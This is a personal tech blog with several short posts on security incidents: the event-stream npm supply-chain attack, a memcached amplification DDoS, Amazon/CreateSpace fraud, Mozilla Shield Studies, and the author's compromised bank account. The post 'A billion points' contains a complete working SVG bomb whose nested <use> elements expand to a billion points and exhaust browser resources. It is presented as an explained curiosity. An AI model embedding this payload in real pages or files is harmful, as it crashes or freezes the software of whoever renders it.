brhfl.com

"I don't know what to say" (external)

I’m behind on posting about this, but given my potential audience, I wouldn’t be doing so as a warning anyway but rather a curiosity. A couple of weeks ago, malicious code was discovered in an npm package called flatmap-stream placed as a dependency inside event-stream. Publish rights to event-stream were apparently handed off to the bad actor, a user with no history whatsoever, because according to the original author:

he emailed me and said he wanted to maintain the module, so I gave it to him. I don’t get any thing from maintaining this module, and I don’t even use it anymore, and havn’t for years.

The attack was quite targeted – a payload was encrypted using the description of another package, the code would only be executed if this package was present. It appears that the end goal was getting bitcoin wallet access, as this targeted package was directly related to the Copay wallet. I don’t have much experience with npm, but I’ve gathered that its approach to dependencies is decentralized ownership/maintenance with centralized package lists/names/etc. It also seemingly pushes minor updates (as declared by the author) automatically, but not major ones. The vector of attack here was quite fascinating then: find a package that doesn’t appear to have been maintained for a while and that is often used alongside a well-maintained package that you want to infiltrate; ask to maintain the first package; push malicious code as a minor update and remove it immediately in a major update; sit back as it makes its way through projects everywhere.

Title link goes to the event-stream issue thread, which is well worth reading for information on the discovery, the forensics process, and a bit of back-and-forth about maintainer responsibility in the open source world. Additionally, in a gist, the original author responded to these issues of responsibility. Finally, if you don’t want to piece it together via the thread, Zach Schneider has an excellent explanation of the attack.


Lava lamps as HRNGs (external)

I never thought I’d link to one of those terrible sites that forces you to scroll through an entire page worth of image before you can even begin reading, but here we are. If you haven’t visited Wired recently, be warned: it is very user-antagonistic. But this article, despite its brevity and reading like an ad for Cloudflare, is pretty interesting. The gist is that one of Cloudflare’s hardware random number generation techniques involves photographing an array of lava lamps.


HTTPS and categories

Meta-post time, as I’ve made a few site updates. Most notably, HTTPS works now. I wouldn’t say that Chrome 68 pushed me to finally do this, but hearing everyone talk about Chrome 68 was a good reminder that I was really running out of excuses. So, only this site as of right now, I’ll get around to fenipulator, the archive, and a couple of other projects that aren’t actually tied to my name shortly. My hosting provider, NearlyFreeSpeech.NET, has a little shell script in place that makes setting up with Let’s Encrypt an entirely effortless ordeal, with full ACME tools available if necessary. I still need to edit my .htaccess to force the matter.

A while back I also did some category overhauls. There are still quite a few categories that only contain a single post, but that seems likely to change in the future. I got rid of any categories where I didn’t really see myself adding more. I do have a tag taxonomy in place, which I need to start making better use of, for more detailed keywords. I planned to use this (plus categories, plus titles) for a sort of half-baked keyword search implementation, which I may still do at some point. I also ‘fixed’ the problem of categories showing up out of order by just making them all lowercase for the time being. It’s ludicrous to me that Hugo has no case-insensitive sorting.


An interesting memcached/UDP amplification attack (external)

A handful of reports out there about a recent DDOS attack that relied on memcached and DDOS’s best friend, UDP. Link is to Cloudflare’s blog post about the attack, which is a thorough yet accessible explanation. It seems like this is the most amplified amplification attack yet, and without even using a significant number of memcached vectors. A lot of potential vectors were from cloud hosts like AWS and Linode – many of these have apparently closed up the hole. Hopefully this minimizes the potential for a larger attack, but it’s worth quoting Cloudflare:

The [UDP] specification shows that it’s one of the best protocols to use for amplification ever! There are absolutely zero checks, and the data WILL be delivered to the client, with blazing speed! […] Developers: Please please please: Stop using UDP.

Cloudflare also touches on the fact that the larger problem is IP spoofing, and they wrote a followup post about that specifically. I just found the memcached amplification attack fascinating.


Weird Amazon/CreateSpace fraud (external)

Brian Krebs reports on one of the stranger scams I’ve read about in recent years. Essentially an author’s name (and tax info) was used to publish a book of pure nonsense using CreateSpace, and sell it for an exorbitant price, presumably as part of a money-laundering scheme:

Reames said he suspects someone has been buying the book using stolen credit and/or debit cards, and pocketing the 60 percent that Amazon gives to authors. At $555 a pop, it would only take approximately 70 sales over three months to rack up the earnings that Amazon said he made.

Patrick Reames, the (real) author in question, discovered the whole thing upon being sent a 1099 for massive earnings he hadn’t actually made. A rather convoluted scheme, but it’s easy to see how it wouldn’t be detected for quite some time. Fascinating read.


"You're scaring us" (external)

Somehow I missed this until now, but of course after Mozilla went and released their first good web browser in forever, they then went and mucked everything up. Apparently the ‘Shield Studies’ feature, which is supposed to act as a distributed test system for new features, was instead used to unwittingly install a disturbing-looking extension that was effectively an ad for a TV show. The problem ultimately seems to stem from a disconnect between Mozilla (the corporation) and Mozilla (the NPO and community) – and in fact, their developers were not thrilled about it. This is a huge breach of trust, and if Mozilla (the corporation) can’t wrap their head around their own manifesto, I can’t imagine a very good future. Mozilla did acknowledge that they fucked up, but the apology seems rather half-hearted at best. I know I have disabled Shield Studies, and until I see some evidence that a genuine attempt is being made to restore user trust, I will remain skeptical of Mozilla’s motives.


A billion points: an SVG bomb

SVGs, via the <use> tag, are capable of symbolic references. If I know I’m going to have ten identical trees in my image, I can simply create one tree with an id="tree" inside of an undrawn <defs> block, and then reference it ten times inside the image along the lines of <use xlink:href="#tree" x="50" y="50"/>.

A billion laughs is a bomb-style attack in which an XML document makes a symbolic reference to an element ten times, then references that symbol ten times in a new symbol, and again, and again, until a billion (109) of these elements are being created. It creates a tremendous amount of resource consumption from a few kilobytes of code. Will symbolic references in an SVG behave similarly?

I briefly searched for SVG bombs, and as expected mostly came up with clipart. I did find one Python script for generating SVG bombs, but it relied on the same XML strategy as the classic billion laughs attack1. The answer is that yes, in about 2.3kB we can make a billion points and one very grumpy web browser:

<svg version="1.2" baseProfile="tiny" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" xml:space="preserve">
<path id="a" d="M0,0"/>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
<g id="f"><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/></g>
<g id="g"><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/></g>
<g id="h"><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/></g>
<g id="i"><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/></g>
<g id="j"><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/></g>
</svg>

It works precisely the same way as a billion laughs: it creates one point, a, at 0,0; then it creates a group, b with ten instances of a; then group c with ten instances of b; and so on until we have 109 (+1, I suppose) instances of our point, a. I’m not entirely sure how a renderer handles ‘drawing’ a single point with no stroke, etc. (essentially a nonexistent object), but it is interesting to note that if we wrap the whole thing in a <defs> block (which would define the objects but not draw them), the bomb still works. Browsers respond a few different ways…


The internet sucks (external)

Well, this sucks. My host, NFSN, is doing a major overhaul to their pricing scheme simply because the internet has become such a horrible hotbed of malice. To be clear, when I say ‘this sucks’, I don’t mean any negativity toward NFSN. The article link up there goes to their blog post explaining the matter, and it frankly seemed inevitable that fighting DDOS attacks would catch up to their pricing scheme. Previously, if you had a static site with low bandwidth and storage, you could probably get a year out of a quarter (domain registration not included, of course). The new plan allows for basically a $3.65 annual minimum which is still impressive (especially given what NFSN offers). But it’s a bummer that it’s come to this.

I would like to reiterate that this is not a complaint against NFSN. I will continue to use them for hosting, I will continue to recommend them, I will continue to praise them. I believe this is a necessary move. I’m just really, really pissed off that this is where we are with the internet. I don’t know what’s going on behind the scenes as far as law enforcement, but the internet is a global network (really?) and that’s not an easy problem to solve. I just hope something is happening to clean this wasteland up, because the advancements we’ve made in the information age are too important to bury under a sheet of malice.


Compromised

Recently, a financial account of mine was compromised. As a person who, while entirely fallible, is pretty well-versed in infosec, I have a lot of thoughts on the matter. Honestly the whole thing has been more fascinating to me than anything. Maybe it’s because my bank has been very accommodating so far, maybe it’s because (relatively speaking) trivial amounts of money have been sucked from my accounts, or maybe it’s because I’m petty and vengeful and when you make a direct bank transfer your name, the recipient’s name, it is revealed to the sender1.

I’m curious about the vector of attack. My assumption is that primarily my card was physically compromised, but I’m not sure. The timeline began with the reception of notifications that my online banking password had been reset. I assumed, or, hoped for a glitch and reset it. Then it reset again. And again. Then a transfer account was added. Then, while I was dialing in to the bank, $100 had been transferred out. This is when it gets a little panicky, but having that information, having a number of controls in front of me to mitigate the situation, and having quick response from the bank’s customer service all led to a fairly painless resolution.

The means of ingress was not the internet, it was not ‘hacking’. When you start telling people about an attack like this, the overwhelmingly rudimentary understanding of security lends itself to responses like ‘ah, well you have this account and now that account was hacked! The hackers hacked it!’ The term ‘hacking’ evokes some real man-vs.-machine WarGames type shit, but the sort of attacks that tend to affect most of us are far less sexy. Things like malware and card skimmers meticulously mining data to then be sold off in batches to lesser criminals.

So that was the first breach, and then several days later it was followed by fraudulent card purchases. I was able to temporarily mitigate this by disabling the card, before ultimately contacting the issuer and having the card entirely deactivated and a new one issued. In between these two things happening, I received a call from ‘my bank’ enquiring about card fraud (which had not yet occurred). The incoming number (which is trivially spoofed) did appear to resolve to the bank’s fraud department, but the callback number was unknown to the internet. I assume this was an attempt by attackers to phish more information while I was at my most vulnerable.

When I mention that the vector of attack likely began with the card, this is because there are some safeguards in place for doing the password reset over the phone. Some, like driver’s license numbers in many states, are completely trivial to reproduce, and financial institutions really need to stop relying on faux secret information. The card number is another potential identifier, and I think these two things with a dash of good old-fashioned social engineering thrown in probably led to multiple over-the-phone password resets being granted in a fifteen-minute window. Just the handful of dealings I had with the bank gave a lot of insight into how one could pull off such an attack, which itself is a little concerning.